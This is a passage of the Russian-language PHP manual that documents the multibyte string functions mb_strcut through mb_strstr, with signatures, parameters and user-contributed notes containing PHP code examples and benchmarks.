    $split_length = (int) $split_length;
    if (1 > $split_length) {
        trigger_error('mb_str_split(): The length of each segment must be greater than zero', E_USER_WARNING);
        return false;
    }
    if (null === $encoding) {
        $encoding = mb_internal_encoding();
    } else {
        $encoding = (string) $encoding;
    }

    if (! in_array($encoding, mb_list_encodings(), true)) {
        static $aliases;
        if ($aliases === null) {
            $aliases = [];
            foreach (mb_list_encodings() as $encoding) {
                $encoding_aliases = mb_encoding_aliases($encoding);
                if ($encoding_aliases) {
                    foreach ($encoding_aliases as $alias) {
                        $aliases[] = $alias;
                    }
                }
            }
        }
        if (! in_array($encoding, $aliases, true)) {
            trigger_error('mb_str_split(): Unknown encoding "'.$encoding.'"', E_USER_WARNING);
            return null;
        }
    }

    $result = [];
    $length = mb_strlen($string, $encoding);
    for ($i = 0; $i < $length; $i += $split_length) {
        $result[] = mb_substr($string, $i, $split_length, $encoding);
    }
    return $result;
}
?>


Получение части строки

  • « mb_str_split
  • mb_strimwidth »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Получение части строки

mb_strcut

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_strcut — Получение части строки

Описание

mb_strcut(
string $string,
int $start,
?int $length = null,
?string $encoding = null
): string

mb_strcut() вырезает подстроку из строки также, как mb_substr(), но оперирует байтами вместо символов. Если начало вырезаемой части попадает между байтами одного символа, функция вырежет подстроку, начиная с первого байта этого символа. Это существенное отличие от substr(), которая просто вырежет подстроку, начиная с середины символа, и нарушит тем самым последовательность байт в строке.

Список параметров

string

Исходная строка.

start

Если start не отрицательное, возвращённая строка начнётся с позиции start в байтах от начала string, начальный байт имеет индекс 0. К примеру, в строке 'abcdef', байт в позиции 0 - это 'a', байт в позиции 2 - 'c' и т.д.

Если start отрицательное, возвращаемая строка будет начинаться с байта start с обратным отсчётом от конца string. Однако, если величина отрицательного start превышает длину строки, возвращаемая часть начнётся с начала string.

length

Длина подстроки в байтах bytes. Если не указана, то передаётся NULL и вырезаются все байты до конца строки.

Если length отрицательное, возвращаемая строка будет заканчиваться байтом length с обратным отсчётом от конца string. Однако если величина отрицательного значения length превышает число символов после позиции start, будет возвращена пустая строка.

encoding

Параметр encoding представляет собой символьную кодировку. Если он опущен или равен null, вместо него будет использовано значение внутренней кодировки.

Возвращаемые значения

mb_strcut() возвращает часть строки string, заданную аргументами start и length.

Список изменений

Версия | Описание
8.0.0 | Теперь параметр encoding может принимать значение null.

Смотрите также

  • mb_substr() - Возвращает часть строки
  • mb_internal_encoding() - Установка/получение внутренней кодировки скрипта

User Contributed Notes

David Juhasz 15-Nov-2021 11:49
This was driving me crazy, because mb_strcut() kept returning an empty string.  The $length parameter seems to have a max value of 2^32-1 (2147483647).

Works:
<?php
  # output: Полуустав
  echo mb_strcut('Полуустав', 0, pow(2,31)-1);
?>

Doesn't work:
<?php
  # nothing is output
  echo mb_strcut('Полуустав', 0, pow(2,31));
?>

My PHP_INT_MAX value is much larger than 2^32-1, so I'm not sure why larger values for $length don't work. :(

<?php
  # output: 9223372036854775807
  echo PHP_INT_MAX;
?>
olivthill at gmail dot com 16-Nov-2017 02:30
Here is an example with UTF8 characters, to see how the start and length arguments are working:

  $str_utf8 = utf8_encode("Deja_vu");
  $str_utf8_0 = mb_strcut($str_utf8, 0, 4, "UTF-8"); // Dej
  $str_utf8_1 = mb_strcut($str_utf8, 1, 4, "UTF-8"); // ej
  $str_utf8_2 = mb_strcut($str_utf8, 2, 4, "UTF-8"); // ej
  $str_utf8_3 = mb_strcut($str_utf8, 3, 4, "UTF-8"); // ja_
  $str_utf8_4 = mb_strcut($str_utf8, 4, 4, "UTF-8"); // a_v

The string includes two special charaters, "e" and "a" internally coded with two bytes.
Note that a multibyte character is removed rather than kept in half at the end of the output.
Note also that the result is the same for a cut 1,4 and a cut 2,4 with this string.
php_engineer_bk at yahoo dot com 08-Oct-2010 03:52
function cut_sense($matne_harf, $l_harf ,$return=1 ) {
if ( strlen($matne_harf) > $l_harf){
$end='...';
}else{
$end='';
}
    if ( function_exists('mb_strcut') ){
        $matne_harf = mb_strcut ( $matne_harf, 0 , $l_harf , "UTF-8" );
    }else{
        $matne_harf =substr($matne_harf, 0, $l_harf);
    }
$text=''.$matne_harf.''.$end.'';
  if ( $return == 1){
  return $text;
  }else{
  print $text;
  }
}

Iranian php programmer (farhad zand +989383015266)
t dot starling at physics dot unimelb dot edu dot au 27-Aug-2004 04:01
What the manual and the first commenter are trying to say is that mb_strcut uses byte offsets, as opposed to mb_substr which uses character offsets.

Both mb_strcut and mb_substr appear to treat negative and out-of-range offsets and lengths in the basically the same way as substr. An exception is that if start is too large, an empty string will be returned rather than FALSE. Testing indicates that mb_strcut first works out start and end byte offsets, then moves each offset left to the nearest character boundary.
oyag02 at yahoo dot co dot jp 26-Sep-2003 03:53
diffrence between mb_substr and mb_substr

example:
mb_strcut('I_ROHA', 1, 2) returns 'I_'. Treated as byte stream.
mb_substr('I_ROHA', 1, 2) returns 'ROHA' Treated as character stream.

# 'I_' 'RO' 'HA' means multi-byte character


Получает строку, обрезанную до заданной ширины

  • « mb_strcut
  • mb_stripos »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Получает строку, обрезанную до заданной ширины

mb_strimwidth

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_strimwidth — Получает строку, обрезанную до заданной ширины

Описание

mb_strimwidth(
string $string,
int $start,
int $width,
string $trim_marker = "",
?string $encoding = null
): string

Обрезает строку (string), переданную в параметр string, до заданой в параметре width ширины символов, где символы половинной ширины рассчитываются как 1, а символы полной ширины — как 2. Подробнее о ширине восточноазиатских символов рассказано в приложении » http://www.unicode.org/reports/tr11/.

Список параметров

string

Исходная строка.

start

Смещение от начала строки. Количество символов от начала строки (первый символ стоит в позиции 0). Если указано отрицательное число, то отсчёт будет идти с конца строки.

width

Ширина, до которой необходимо обрезать строку. Если задано отрицательное значение ширины, отсчёт будет идти с конца строки.

Замечание:

Передача отрицательного значения ширины устарела с PHP 8.3.0.

trim_marker

Строка, которая заместит конец обрезанной строки.

encoding

Параметр encoding представляет собой символьную кодировку. Если он опущен или равен null, вместо него будет использовано значение внутренней кодировки.

Возвращаемые значения

Обрезанная строка. Если задан четвёртый аргумент trim_marker, то его значением замещаются последние символы строки, так чтобы суммарный размер был не более width.

Список изменений

Версия | Описание
8.3.0 | Передача отрицательного значения в параметр width функции mb_strimwidth() устарела.
8.0.0 | Теперь параметр encoding может принимать значение null.
7.1.0 | Добавлена поддержка отрицательных значений для параметров start и width.

Примеры

Пример #1 Пример использования mb_strimwidth()

<?php
echo mb_strimwidth("Hello World", 0, 10, "...");
// Выведет "Hello W..."
?>

Смотрите также

  • mb_strwidth() - Возвращает ширину строки
  • mb_internal_encoding() - Установка/получение внутренней кодировки скрипта

User Contributed Notes

jamesgrimshaw2006 at gmail dot com 05-Oct-2023 09:56
mb_strimwidth will only append "trim_marker" if the string is over the width.

*test code*
     $HashTags = 'Results';
     $socialmediatext = 'abcdefghijklmnopqrstuvwxyz';
     for( $i=0; $i<=20; $i++ )
     {
         $socialmediatext .= '.';
         $Twittext = mb_strimwidth($socialmediatext,0,35,$HashTags);
         echo "<p>[".strlen($Twittext)."]$Twittext</p>";
     }

*output*
[27]abcdefghijklmnopqrstuvwxyz.
[28]abcdefghijklmnopqrstuvwxyz..
[29]abcdefghijklmnopqrstuvwxyz...
[30]abcdefghijklmnopqrstuvwxyz....
[31]abcdefghijklmnopqrstuvwxyz.....
[32]abcdefghijklmnopqrstuvwxyz......
[33]abcdefghijklmnopqrstuvwxyz.......
[34]abcdefghijklmnopqrstuvwxyz........
[35]abcdefghijklmnopqrstuvwxyz.........
[35]abcdefghijklmnopqrstuvwxyz..Results
[35]abcdefghijklmnopqrstuvwxyz..Results
[35]abcdefghijklmnopqrstuvwxyz..Results
[35]abcdefghijklmnopqrstuvwxyz..Results
[35]abcdefghijklmnopqrstuvwxyz..Results
[35]abcdefghijklmnopqrstuvwxyz..Results
[35]abcdefghijklmnopqrstuvwxyz..Results
[35]abcdefghijklmnopqrstuvwxyz..Results
[35]abcdefghijklmnopqrstuvwxyz..Results
[35]abcdefghijklmnopqrstuvwxyz..Results
[35]abcdefghijklmnopqrstuvwxyz..Results
[35]abcdefghijklmnopqrstuvwxyz..Results
dregad at NOSPAM-mantisbt dot org 12-Apr-2023 01:54
I see a lot of usage in the field where people rely on this function to truncate a string to a given length and append some chars at the end following example #1 in the above documentation.

While this works just fine with Western alphabets, it should be noted that a string's width is NOT necessarily the same as its length.

In Chinese, Japanese and Korean, some characters can be represented as full or half width, which may lead to unexpected results...

<?php
$str = ['English' => 'Switzerland',
        'Half width' => '???',
        'Full width' => '???',
       ];
foreach ($str as $w => $s) {
    printf("%-10s: %s (bytes=%d chars=%d width=%d)\nSubstring : %s\nTrim width: %s\n\n",
        $w, $s,
        strlen($s), mb_strlen($s), mb_strwidth($s),
        mb_substr($s, 0, 3),
        mb_strimwidth($s, 0, 3)
    );
}
/* Output
# With ASCII, chars == width, so everything works as expected
English   : Switzerland (bytes=11 chars=11 width=11)
Substring : Swi
Trim width: Swi

# With half-width katakanas, it works too
Half width: ??? (bytes=9 chars=3 width=3)
Substring : ???
Trim width: ???

# Full-width katakanas are twice as wide, so we only get the 1st 'su' !
Full width: ??? (bytes=9 chars=3 width=6)
Substring : ???
Trim width: ?
*/
>?


Регистронезависимый поиск позиции первого вхождения одной строки в другую

  • « mb_strimwidth
  • mb_stristr »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Регистронезависимый поиск позиции первого вхождения одной строки в другую

mb_stripos

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

mb_stripos — Регистронезависимый поиск позиции первого вхождения одной строки в другую

Описание

mb_stripos(
string $haystack,
string $needle,
int $offset = 0,
?string $encoding = null
): int|false

mb_stripos() возвращает позицию первого вхождения строки needle в строке haystack. В отличие от mb_strpos(), mb_stripos() не чувствительна к регистру символов. Если строка needle не найдена, функция вернёт false.

Список параметров

haystack

Строка, в которой производится поиск вхождений строки needle

needle

Строка, поиск которой осуществляется в строке haystack

offset

Позиция в строке haystack, с которой начинается поиск вхождений. Если значение отрицательно, отсчёт идёт с конца строки.

encoding

Кодировка символов строк. Если не задана, будет использована внутренняя кодировка скрипта.

Возвращаемые значения

Возвращает позицию первого вхождения строки needle в строке haystack либо false, если needle не найдена.

Список изменений

Версия | Описание
8.0.0 | needle теперь принимает пустую строку.
8.0.0 | Теперь параметр encoding может принимать значение null.
7.1.0 | Добавлена поддержка отрицательных значений offset.

Смотрите также

  • stripos() - Возвращает позицию первого вхождения подстроки без учёта регистра
  • strpos() - Возвращает позицию первого вхождения подстроки
  • mb_strpos() - Поиск позиции первого вхождения одной строки в другую

User Contributed Notes

FangTS_ 26-Aug-2019 08:27
How works on examples mb_stripos:

First we will watch example on symbols(..?).
<?php
$text = "Look! It's a text! Wow!"; //simple text
$spaceIsHere = mb_stripos($text," "); //you can replace " " on something what you need or want
$text2 = mb_substr($text,$spaceIsHere); //cutting text with $spaceIsHere
print ($text2);
/* Print will show that result:
" It's a text! Wow!"
Look. That " " wasn't cutted, because mb_substr don't write in var position after " " - he write WHERE is " " in string. */
?>

Also it can work on words, sentences...
Here's one of examples:
<?php
$text = "Look! It's a text! Wow!"; //familiar text, right?)
$afterNeededWord = mb_stripos($text,"text!"); //you can replace "text!" on something else what you need
$text3 = mb_substr($text, $afterNeededWord); //cutting string (it is string? im stupid in that question xD)
print ($text3);
/* Print will show that result:
"text! Wow!"
Explaining the same. */
?>

I hope it was useful with my "good" English skills. ;D
Have a nice day, coder.


Находит первое вхождение подстроки в строке без учёта регистра

  • « mb_stripos
  • mb_strlen »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Находит первое вхождение подстроки в строке без учёта регистра

mb_stristr

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

mb_stristr — Находит первое вхождение подстроки в строке без учёта регистра

Описание

mb_stristr(
string $haystack,
string $needle,
bool $before_needle = false,
?string $encoding = null
): string|false

mb_stristr() находит первое вхождение подстроки needle в haystack и возвращает часть haystack. В отличие от mb_strstr(), mb_stristr() не учитывает регистр. Если needle не найдена, возвращается false.

Список параметров

haystack

Строка, в которой ищется первое вхождение строки needle

needle

Строка для поиска в haystack

before_needle

Определяет, какую часть строки haystack вернёт эта функция. Если установлено true, возвращается часть haystack от начала до первого вхождения needle (исключая needle). Если установлено false, возвращается часть haystack от первого вхождения needle до конца (включая needle).

encoding

Название используемой кодировки символов. Если этот параметр опущен, используется внутренняя кодировка.

Возвращаемые значения

Возвращает часть строки haystack или false, если needle не найдена.

Список изменений

Версия | Описание
8.0.0 | needle теперь принимает пустую строку.
8.0.0 | Теперь параметр encoding может принимать значение null.

Смотрите также

  • stristr() - Регистронезависимый вариант функции strstr
  • strstr() - Находит первое вхождение подстроки
  • mb_strstr() - Находит первое вхождение подстроки в строке

User Contributed Notes

nowfel dot terki at mailfence dot com 11-May-2022 09:04
Be aware that if needle is an empty string, mb_stristr return the haystack by default.

For exemple:

<?php
if (mb_stristr("foo", "")) {
    echo "We enter in condition";
}
?>

Because in the above exemple the return of mb_stristr is "foo".

So if we do not want this kind of behaviour, we must set the third argument, ($before_needle) to true.

<?php
if (mb_stristr("foo", "", true)) {
    echo "We do not enter in condition";
}
?>

It can be useful to know it, specially when needle is dynamic.


Получает длину строки

  • « mb_stristr
  • mb_strpos »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Получает длину строки

mb_strlen

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_strlen — Получает длину строки

Описание

mb_strlen(string $string, ?string $encoding = null): int

Получает длину строки (string).

Список параметров

string

Строка (string), для которой измеряется длина.

encoding

Параметр encoding представляет собой символьную кодировку. Если он опущен или равен null, вместо него будет использовано значение внутренней кодировки.

Возвращаемые значения

Возвращает количество символов в строке (string) string, имеющих кодировку символов encoding. Многобайтовый символ вычисляется как 1.

Ошибки

Если кодировка неизвестна, генерируется ошибка уровня E_WARNING.

Список изменений

Версия | Описание
8.0.0 | Теперь параметр encoding может принимать значение null.

Смотрите также

  • mb_internal_encoding() - Установка/получение внутренней кодировки скрипта
  • grapheme_strlen() - Получает длину строки в единицах графемы
  • iconv_strlen() - Возвращает количество символов в строке
  • strlen() - Возвращает длину строки

User Contributed Notes

David Spector 08-Jan-2020 11:19
It may not be clear whether PHP actually supports utf-8, which is the current de facto standard character encoding for Web documents, which supports most human languages. The good news is: it does.

I wrote a test program which successfully reads in a utf-8 file (without BOM) and manipulates the characters using mb_substr, mb_strlen, and mb_strpos (mb_substr should normally be avoided, as it must always start its search at character position 0).

The results with a variety of Unicode test characters in utf-8 encoding, up to four bytes in length, were mostly correct, except that accent marks were always mistakenly treated as separate characters instead of being combined with the previous character; this problem can be worked around by programming, when necessary.
Yzmir Ramirez 15-Apr-2011 09:06
If you are unsure about what $encoding can be set to, here's a full list of all the encodings supported by this extension:

http://www.php.net/manual/en/mbstring.supported-encodings.php
Ben 19-Nov-2008 02:59
If you find yourself without the mb string functions and can't easily change it, a quick hack replacement for mb_strlen for utf8 characters is to use a a PCRE regex with utf8 turned on.

$strlen = preg_match_all("/.{1}/us",$utf8string,$dummy);

This is basically an ugly hack which counts all single character matches, and I'd expect it to be painfully slow on large strings.
drake127 12-Aug-2007 08:36
Speed of mb_strlen varies a lot according to specified character set.

If you need length of string in bytes (strlen cannot be trusted anymore because of mbstring.func_overload) you should use <?php mb_strlen($string, '8bit'); ?>.
It's the fastest way (still a way slower than strlen, though) to determine byte length of string. Other single byte character sets (ASCII, ISO-8859-1, ...) are several times slower than 8bit.
koala at example dot com 27-Jul-2007 12:19
Just did a little benchmarking (1.000.000 times with lorem ipsum text) on the mbs functions

especially mb_strtolower and mb_strtoupper are really slow (up to 100 times slower compared to normal functions). Other functions are alike-ish, but sometimes up to 5 times slower.

just be cautious when using mb_ functions in high frequented scripts.

# test runs: 1000000
# benchmarking strlen vs. mb_strlen
# normal strlen: 3.6795361042023 ms, average: 3.6795361042023E-6 ms
# mb_strlen: 5.5934538841248 ms, average: 5.5934538841248E-6 ms
ok 1 - mb_strlen is slower than strlen
# mb_strlen is 1.52 slower than strlen
#
#
# benchmarking strpos vs. mb_strpos
# normal strpos: 5.5523281097412 ms, average: 5.5523281097412E-6 ms
# mb_strlen: 31.180974960327 ms, average: 3.1180974960327E-5 ms
ok 2 - mb_strlen is slower than strlen
# mb_strpos is 5.62 slower than strpos
#
#
# benchmarking substr vs. mb_substr
# normal substr: 3.4437320232391 ms, average: 3.4437320232391E-6 ms
# mb_strlen: 3.5374181270599 ms, average: 3.5374181270599E-6 ms
ok 3 - mb_strlen is slower than strlen
# mb_substr is 1.03 slower than substr
#
#
# benchmarking strtolower vs. mb_strtolower
# normal strtolower: 4.446839094162 ms, average: 4.446839094162E-6 ms
# mb_strlen: 193.44901108742 ms, average: 0.00019344901108742 ms
ok 4 - mb_strlen is slower than strlen
# mb_strtolower is 43.5 slower than strtolower
#
#
# benchmarking strtoupper vs. mb_strtoupper
# normal strtoupper: 3.0210740566254 ms, average: 3.0210740566254E-6 ms
# mb_strlen: 340.71775603294 ms, average: 0.00034071775603294 ms
ok 5 - mb_strlen is slower than strlen
# mb_strtoupper is 112.78 slower than strtoupper
motin at demomusic dot nu 06-Feb-2007 10:12
Thank you Peter Albertsson for presenting that!

After spending more than eight hours tracking down two specific bugs in my mbstring-func_overloaded environment I have learned a very important lesson:

Many developers rely on strlen to give the amount of bytes in a string. While mb-overloading has very many advantages, the most hard-spotted pitfall must be this issue.

Two examples (from the two bugs found earlier):

1. Writing a string to a file:

<?php
$str = "string with utf-8 chars aea - doo-bee doo-bee dooh";
$fp = fopen($this->_file, "wb");
if ($fp) {
  $len = strlen($str);
  fwrite($fp, $str, $len);
}
?>

PS This is found i the PEAR::Cache_Lite package (Lite.php) - Reported

2. Iterating through a string's characters:

<?php
$str = "string with utf-8 chars aeo - doo-bee doo-bee dooh";
$newStr = "";
for ($i = 0; $i < strlen($str); $i++) {
  $newStr .= $str[$i];
}
?>

Both of these situations will fail to save / store the last characters in $str. This can be very hard to spot and can be especially fatal for say serialized strings, xml etc.

So, try to avoid these situations to support overloaded environments, and remeber Peter Albertssons remark if you find problems under such an environment.
filatei at gmail dot com 12-Aug-2006 10:48
I have been working with some funny html characters lately and due to the nightmare in manipulating them between mysql and php, I got the database column set to utf8, then store characters with html enity "&#7885;" as ? in the database and set the encoding on php as "utf8".

This is where mb_strlen became more useful than strlen.  While strlen('?') gives result as 3, mb_strlen('?','UTF-8') gives 1 as expected.

But left(column1,1) in mysql still gives wrong char for a multibyte string.  In the example above, I had to do left(column1,3) to get the correct string from mysql.  I am now about to investigate multibyte manipulation in mysql.


Поиск позиции первого вхождения одной строки в другую

  • « mb_strlen
  • mb_strrchr »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Поиск позиции первого вхождения одной строки в другую

mb_strpos

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_strpos — Поиск позиции первого вхождения одной строки в другую

Описание

mb_strpos(
string $haystack,
string $needle,
int $offset = 0,
?string $encoding = null
): int|false

Ищет позицию первого вхождения одной строки string в другую строку string.

Выполняет безопасную с точки зрения многобайтных кодировок операцию strpos(), которая опирается на число символов в строке. Первый символ стоит на позиции 0, позиция второго 1 и так далее.

Список параметров

haystack

Строка string в которой производится поиск.

needle

Строка, поиск которой производится в строке haystack. В отличие от strpos(), числовые значения не применяются в качестве порядковых номеров символов.

offset

Смещение начала поиска. Если не задан, используется 0. Если значение отрицательно, отсчёт идёт с конца строки.

encoding

Параметр encoding представляет собой символьную кодировку. Если он опущен или равен null, вместо него будет использовано значение внутренней кодировки.

Возвращаемые значения

Возвращает число - позицию первого вхождения строки needle в строку haystack string. Если строка needle не найдена, функция вернёт false.

Список изменений

Версия | Описание
8.0.0 | needle теперь принимает пустую строку.
8.0.0 | Теперь параметр encoding может принимать значение null.
7.1.0 | Добавлена поддержка отрицательных значений offset.

Смотрите также

  • mb_internal_encoding() - Установка/получение внутренней кодировки скрипта
  • strpos() - Возвращает позицию первого вхождения подстроки

User Contributed Notes

There are no user contributed notes for this page.


Поиск последнего вхождения одной строки в другую

  • « mb_strpos
  • mb_strrichr »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Поиск последнего вхождения одной строки в другую

mb_strrchr

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

mb_strrchr — Поиск последнего вхождения одной строки в другую

Описание

mb_strrchr(
string $haystack,
string $needle,
bool $before_needle = false,
?string $encoding = null
): string|false

mb_strrchr() ищет последнее вхождение строки needle в строке haystack и возвращает часть строки haystack. Если needle не найдена, функция возвращает false.

Список параметров

haystack

Строка, в которой производится поиск вхождения needle

needle

Строка, поиск которой производится в строке haystack

before_needle

Определяет, какую часть строки haystack вернуть в качестве результата. Если передаётся true, функция вернёт часть строки haystack с начала до позиции последнего вхождения needle. Если передаётся false, будет возвращена часть haystack от позиции последнего вхождения needle до конца строки.

encoding

Кодировка строк. Если не задана, будет использована внутренняя кодировка скрипта.

Возвращаемые значения

Возвращает часть строки haystack либо false, если needle не найдена.

Список изменений

Версия | Описание
8.0.0 | needle теперь принимает пустую строку.
8.0.0 | Теперь параметр encoding может принимать значение null.

Смотрите также

  • strrchr() - Находит последнее вхождение символа в строке
  • mb_strstr() - Находит первое вхождение подстроки в строке
  • mb_strrichr() - Поиск последнего вхождения одной строки в другую, нечувствительный к регистру

User Contributed Notes

Anonymous 28-Apr-2023 08:54
needle: /
string: o/a/i

if before_needle is 1  then needle is excluded: "o/a"
if before_needle is false  then needle is included:  "/i"

as code:

$str="o/a/i";
$cs="/";

echo "if before_needle == 1  then needle is excluded"."\n";
$str="o/a/i";
$cs="/";
echo mb_strrchr ($str,$cs,1)."\n";

echo "if before_needle == false  then needle is included"."\n";
$str="o/a/i";
$cs="/";
echo mb_strrchr ($str,$cs,0)."\n";


Поиск последнего вхождения одной строки в другую, нечувствительный к регистру

  • « mb_strrchr
  • mb_strripos »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Поиск последнего вхождения одной строки в другую, нечувствительный к регистру

mb_strrichr

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

mb_strrichr — Поиск последнего вхождения одной строки в другую, нечувствительный к регистру

Описание

mb_strrichr(
string $haystack,
string $needle,
bool $before_needle = false,
?string $encoding = null
): string|false

mb_strrichr() ищет последнее вхождение строки needle в строке haystack и возвращает часть строки haystack. В отличие от mb_strrchr(), mb_strrichr() не чувствительна к регистру символов. Если needle не найдена, функция возвращает false.

Список параметров

haystack

Строка, в которой производится поиск вхождения needle

needle

Строка, поиск которой производится в строке haystack

before_needle

Определяет, какую часть строки haystack вернуть в качестве результата. Если передаётся true, функция вернёт часть строки haystack с начала до позиции последнего вхождения needle. Если передаётся false, будет возвращена часть haystack от позиции последнего вхождения needle до конца строки.

encoding

Кодировка строк. Если не задана, будет использована внутренняя кодировка скрипта.

Возвращаемые значения

Возвращает часть строки haystack либо false, если needle не найдена.

Список изменений

Версия | Описание
8.0.0 | needle теперь принимает пустую строку.
8.0.0 | Теперь параметр encoding может принимать значение null.

Смотрите также

  • mb_stristr() - Находит первое вхождение подстроки в строке без учёта регистра
  • mb_strrchr() - Поиск последнего вхождения одной строки в другую

User Contributed Notes

There are no user contributed notes for this page.


Поиск последнего вхождения одной строки в другую, нечувствительный к регистру

  • « mb_strrichr
  • mb_strrpos »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Поиск последнего вхождения одной строки в другую, нечувствительный к регистру

mb_strripos

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

mb_strripos — Поиск последнего вхождения одной строки в другую, нечувствительный к регистру

Описание

mb_strripos(
string $haystack,
string $needle,
int $offset = 0,
?string $encoding = null
): int|false

mb_strripos() выполняет безопасную с точки зрения многобайтных кодировок операцию strripos(), основываясь на количестве символов. Позиция строки needle рассчитывается с начала строки haystack. Позиция первого символа 0. Второго символа 1. В отличие от mb_strrpos(), mb_strripos() не чувствительна к регистру.

Список параметров

haystack

Строка, в которой производится поиск вхождения needle

needle

Строка, поиск которой производится в строке haystack

offset

Позиция в строке haystack, с которой начинается поиск вхождений

encoding

Кодировка символов строк. Если на задана, будет использована внутренняя кодировка скрипта.

Возвращаемые значения

Возвращает позицию последнего вхождения строки needle в строке haystack либо false, если needle не найдена.

Список изменений

Версия | Описание
8.0.0 | needle теперь принимает пустую строку.
8.0.0 | Теперь параметр encoding может принимать значение null.

Смотрите также

  • strripos() - Возвращает позицию последнего вхождения подстроки без учёта регистра
  • strrpos() - Возвращает позицию последнего вхождения подстроки в строке
  • mb_strrpos() - Поиск позиции последнего вхождения одной строки в другую

User Contributed Notes

ivrokrambler at gmail dot com 01-Jul-2017 05:10
<?php
function backStrpos($str, $needle, $offset){
    $needler = backStr($needle);
    $strr = backStr($str);
    $offsetr = strlen($str) - 1 - $offset;
    $posr = mb_stripos($strr, $needler, $offsetr);
    return strlen($str) - 1 - $posr - strlen($needle);
}
function backStr($str){
    $str = str_replace(array('<', '>'), array('>', '<'), $str);
    return strrev($str);
}

function backStrpos($str, $needle, $offset){
    $needler = backStr($needle);
    $strr = backStr($str);
    $offsetr = strlen($str) - 1 - $offset;
    $posr = mb_stripos($strr, $needler, $offsetr);
    return strlen($str) - 1 - $posr - strlen($needle);
}
function backStr($str){
    $str = str_replace(array('<', '>'), array('>', '<'), $str);
    return strrev($str);
}

$test = '<table><TR>TEXT</TR><TR>TEST</TR></table>';
$pos = mb_stripos($test, 'TEST', 0);
var_dump($pos);
var_dump(backStrpos($test, '<tr', $pos));
var_dump(backStrpos($test, '<tr', backStrpos($test, '<tr', $pos)));

------->
int(24)
int(19)
int(6)
easai 27-May-2010 09:53
Here are Java like startsWith/endsWith implementations in PHP.

<?php
    function startsWith($haystack,$needle)
    {
      $res=FALSE;
      if(mb_strripos($haystack,$needle,0,"utf-8")==0)
         $res= TRUE;
      return $res;
    }

    function endsWith($haystack,$needle)
    {
      $res=FALSE;
      $len=mb_strlen($haystack);
      $pos=$len-mb_strlen($needle);
      if(mb_strripos($haystack,$needle,0,"utf-8")==$pos)
         $res= TRUE;
      return $res;
    }
?>


Поиск позиции последнего вхождения одной строки в другую

  • « mb_strripos
  • mb_strstr »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Поиск позиции последнего вхождения одной строки в другую

mb_strrpos

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_strrpos — Поиск позиции последнего вхождения одной строки в другую

Описание

mb_strrpos(
string $haystack,
string $needle,
int $offset = 0,
?string $encoding = null
): int|false

Выполняет безопасную с точки зрения многобайтных кодировок операцию strrpos() , основываясь на количестве символов. Позиция строки needle рассчитывается с начала строки haystack. Позиция первого символа 0. Второго символа 1.

Список параметров

haystack

Строка (string), в которой производится поиск вхождения needle.

needle

Строка (string), поиск которой производится в строке haystack.

offset
Если аргумент задан, поиск вхождения будет начинаться с позиции offset в строке (string). Если передано отрицательное значение, операция поиска остановится на позиции строки (string) offset, отсчитываемой с конца строки.
encoding

Параметр encoding представляет собой символьную кодировку. Если он опущен или равен null, вместо него будет использовано значение внутренней кодировки.

Возвращаемые значения

Возвращает позицию последнего вхождения строки needle в строке (string) haystack либо false, если needle не найдена.

Список изменений

Версия | Описание
8.0.0 | needle теперь принимает пустую строку.
8.0.0 | Передача encoding в качестве третьего аргумента вместо offset была удалена.
8.0.0 | Теперь параметр encoding может принимать значение null.

Смотрите также

  • mb_strpos() - Поиск позиции первого вхождения одной строки в другую
  • mb_internal_encoding() - Установка/получение внутренней кодировки скрипта
  • strrpos() - Возвращает позицию последнего вхождения подстроки в строке

User Contributed Notes

Anonymous 08-Apr-2015 02:20
"Negative values will stop searching at an arbitrary point prior to the end of the string. " ist misleading.
The needle may not fully part of searchrange, defined by a negative offset.
A negative offsets marks the last byte, where a search could start.
<?php
$test = "Hallo, Herr Gott";
var_dump(strlen($test));                       // int(17)
var_dump(mb_strrpos($test,'ott',13));  // int(13)
var_dump(mb_strrpos($test,'ott',-4)); // int(13) 17-4 = 13
var_dump(mb_strrpos($test,'ott',-5)); // bool(false)
?>
27-Nov-2005 06:32
mb_strrpos throws a warning if $haystack is empty.
strrpos simply returns FALSE.

This is something to be wary of if overloading the mb functions.


Находит первое вхождение подстроки в строке

  • « mb_strrpos
  • mb_strtolower »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Находит первое вхождение подстроки в строке

mb_strstr

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

mb_strstr — Находит первое вхождение подстроки в строке

Описание

mb_strstr(
string $haystack,
string $needle,
bool $before_needle = false,
?string $encoding = null
): string|false

mb_strstr() находит первое вхождение подстроки needle в строке haystack и возвращает часть haystack. Если needle не найдена, возвращается false.

Список параметров

haystack

Строка, в которой ищется первое вхождение строки needle

needle

Строка для поиска в haystack

before_needle

Определяет, какую часть строки haystack вернёт эта функция. Если установлено true, возвращается часть haystack от начала до первого вхождения needle (исключая needle). Если установлено false, возвращается часть haystack от первого вхождения needle до конца (включая needle).

encoding

Название используемой кодировки символов. Если этот параметр опущен, используется внутренняя кодировка.

Возвращаемые значения

Возвращает часть строки haystack или false, если needle не найдена.

Список изменений

Версия | Описание
8.0.0 | needle теперь принимает пустую строку.
8.0.0 | Теперь параметр encoding может принимать значение null.

Смотрите также

  • stristr() - Регистронезависимый вариант функции strstr
  • strstr() - Находит первое вхождение подстроки
  • mb_stristr() - Находит первое вхождение подстроки в строке без учёта регистра

User Contributed Notes

There are no user contributed notes for this page.


Приведение строки к нижнему регистру

  • « mb_strstr
  • mb_strtoupper »
  • PHP Manual
